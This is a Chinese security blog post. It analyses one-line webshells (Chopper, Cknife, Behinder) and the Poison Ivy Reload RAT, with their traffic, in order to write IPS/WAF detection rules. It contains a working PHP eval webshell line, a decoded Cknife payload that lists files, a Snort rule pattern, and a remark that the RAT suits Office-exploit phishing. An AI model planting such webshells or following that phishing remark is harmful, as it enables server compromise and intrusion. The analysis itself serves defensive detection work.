从防护角度看一句话木马的发展变形-安全小百科

一、前言

一句话木马用到了一个比较有趣的命令下发思路，即不直接发送命令编码，而是将命令代码直接发送给木马端执行，这样木马端文件会特别小，而由于每条命令需要通过网络传输，数据包会比较大。这些工具的流量也是ips，waf等网络安全设备的检测重点。

一句话木马的发展主要有几个典型的代表：最开始是中国菜刀，接着是开源的Cknife和中国蚁剑，到近两年的冰蝎，攻击工具一直在进化。其实还有个神奇的二进制远控 Poison Ivy，说它神奇就在于它相当于一个二进制的一句话工具，直接传送shellcode到被控端执行，而且据说这个远控是比较早（零几年就出现了），有高手在github重写了一份代码可以来学习，感谢Ckinfe，蚁剑，冰蝎（虽然没开源，但是并没有做加密混淆）和PI Reload这些作者的开源精神，我也只分享一下自己粗浅的分析和学习，分析目的也是促进我们防护规则和检测思路的优化，欢迎大佬们指点交流。

二、WEB一句话木马

菜刀，Cknife，蚁剑这些工具原理比较接近，使用方法大家应该比较熟了☺，可能有些做渗透测试的朋友也没有了解过原理。我们做防护规则，对常用的工具都会做分析，先以Cknife为例来分析这个系列。

2.1Ckinife连接

2.1.1 PHP一句话连接

Asp，aspx和PHP的连接原理比较接近，PHP最基础的一句话如下：

<?php @eval($_POST[‘pass’]);?>

通过Cknife等发包工具，把需要执行的php脚本片段，通过密码pass参数传给服务器端，服务器通过eval函数进行执行。可以看出，一句话木马的本质是PHP,ASP(ASPX)语言具有eval函数，使之具有了动态性，基于动态性，攻击者就可以把命令传给服务器端的一句话木马进行执行，这些命令在config.ini作了定义。

发的请求包中，action参数用来传输base64编码后的命令，可能是考虑到特殊字符容易出问题或者不符合rfc协议之类的原因。真正的连接密码pass，先对action参数做base64解密，然后传到服务器端执行。

我们把PHP命令做解码，得到

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("-    |");;$D=base64_decode($_POST["z1"]);[email protected]($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while([email protected]($F)){$P=$D."/".$N;[email protected]("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="t".$T."t"[email protected]($P)."t".$E."";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();

可以看到通过循环遍历某个路径下的文件，其中路径又是通过z1参数base64编码进行传递，截图是查看C盘目录。

2.1.2PHP一句话连接流量检测

截取了一个snort的开源规则，他检测的字符串是[email protected](base64_decode($_POST，如下

根据规则的描述信息来看，是基于13年fireeye的分析中国菜刀的文章添加的规则，个人认为这条规则还是写的太严格了，其实直接看抓到的cknife报文，就无法匹配菜刀的这条规则，

如上图Cknife的payload中，eval后面带了一个x01。Ips、waf规则其实只要不影响业务，也是越简单越好，避免漏报。

2.1.3JSP一句话连接

Java由于没有eval函数，所以最开始是没有一句话木马的，但是由于菜刀/Cknife这类工具太好用了，jspspy这种大马又比较大，所以有高手写了一个带简单功能的webshell，通过定制（customize）方式来传输命令码，我理解customize是传控制码而不传输命令，其流量如下：

2.1.4JSP一句话连接流量检测

这种比较短的请求就不太好检测了，一般思路就是按照流量来检测，写规则基本也是把常见的工具都遍历一遍，然后找找规律，包括参数名，参数值等。

2.2冰蝎连接

由于Cknife菜刀的明文传输可以被检测到，有高手写了一个加密的一句话工具冰蝎。作者在先知社区对冰蝎的原理作了详细的讲解，我觉得最有意思的是这个一句话木马做到了java语言真正的一句话。

提交给被控端的数据先做解密，解密后的数据作为class文件的字节码，通过自定义classloader的get方法，调用父类defineclass方法动态生成一个类，然后调用其重载的equals函数执行命令。还有一些细节作者也有讲，比如父类defineclass方法是protect属性，正好子类可以直接调用，继承父类classloader还可以避免不同的classloader找不到相关类。重载的equals函数接受pagecontext参数，可以调用页面的参数并设置应答内容。

对于php和asp,aspx作者也使用类似的手法做了加密和变形，这些跟菜刀/Cknife的原理都不一样了，思路非常值得学习，但是流量就很难检测了:-(。

三、二进制一句话木马

起因是看到github上面开源了一个poison ivy的RAT，是国内作者重写的名为poison ivy reload的项目，注释比较完整。这个大名鼎鼎的远控思路跟菜刀是一致的，命令通过shellcode传输，由于shellcode不需要重定位代码，直接分配内存就可以执行命令了，并且不仅命令是shellcode，木马本身就是shellcode。据说今年hw的第一天，就有攻击队钓鱼用的就是这个远控。

3.1poison ivy reload

控制端在Client文件夹，被控端在loader文件夹。先看被控端：

3.1.1被控端

相关配置文件和函数地址定义在global_data_t这个结构，使用到宏指令生成了非常紧凑的结构。下面是生成客户端的配置，包括配置连接方式、启动项、连接密码等。

下面是api地址，需要在加载后重新计算偏移后进行修复

loader_main是主要的入口，初始化global_config配置，然后根据配置主动外联控制端，首先是发包，做一个17字节的头部发送给控制端上线

然后rc4加密后发送出去，等待接收shellcode命令，收到数据后，进行rc4解密，然后分配内存，解压缩并拷贝数据到这块内存，执行代码。

木马有2种启动方式，本进程启动或者远程注入到ie启动。

可选的启动项：

3.1.2控制端

控制端是delphi编写，不过重点也是用到了一些shellcode，shellcode代码还是在loader文件夹下面，其中function目录是基础控制函数，包括入口的shell_main.c，是控制端传过来的第一段shellcode，会初始化相关结构并且作为整体的消息处理框架，information是收集被控端的本地信息并回传，cmdshell是反弹cmd端口，screenspy是抓取屏幕，process是列当前进程，thumbnail是获取图标。

loader_function和extra_function目录下面有一些其他功能函数，包括添加启动项、远程注入、socks5连接等。作者注释掉了生成shellcode的代码，修复后可以用shellcode方式执行，结合office文档漏洞钓鱼是一个不错的选择。

3.1.3通信流量

可以看看PI的上线流量。第一次交互主要是被控端上线，控制端发送shellcode_main的shellcode作为被控端的消息处理框架。

第二次交互则是被控端请求information的shellcode，即需要函数代码来提取本机的信息，但是这些函数都以shellcode形式存在控制端。

传输的这些函数包括下面的获取局域网信息get_lan_info，获取操作系统版本get_os_version，获取cpu频率get_cpu_frequency等。

第三次交互就是执行这些shellcode回传结果了

结果回显

每次交互的结果也会在stat标签页打印出来

3.1.4Poison Ivy Reload连接流量检测

这种加密流量ips之类的网络就比较难识别了。由于PI前期的上线流量比较固定，而且还有大量的ping pong心跳包，我觉得还是可以考虑从这些规律入手，即不通过传统特征匹配，而通过会话统计进行检测。

目前分析的是开源的PI Reload，也只是做了最简单的分析和测试，看了一下会话交互流量，我觉得更值得学习的是作者深厚的开发功底和调试技术。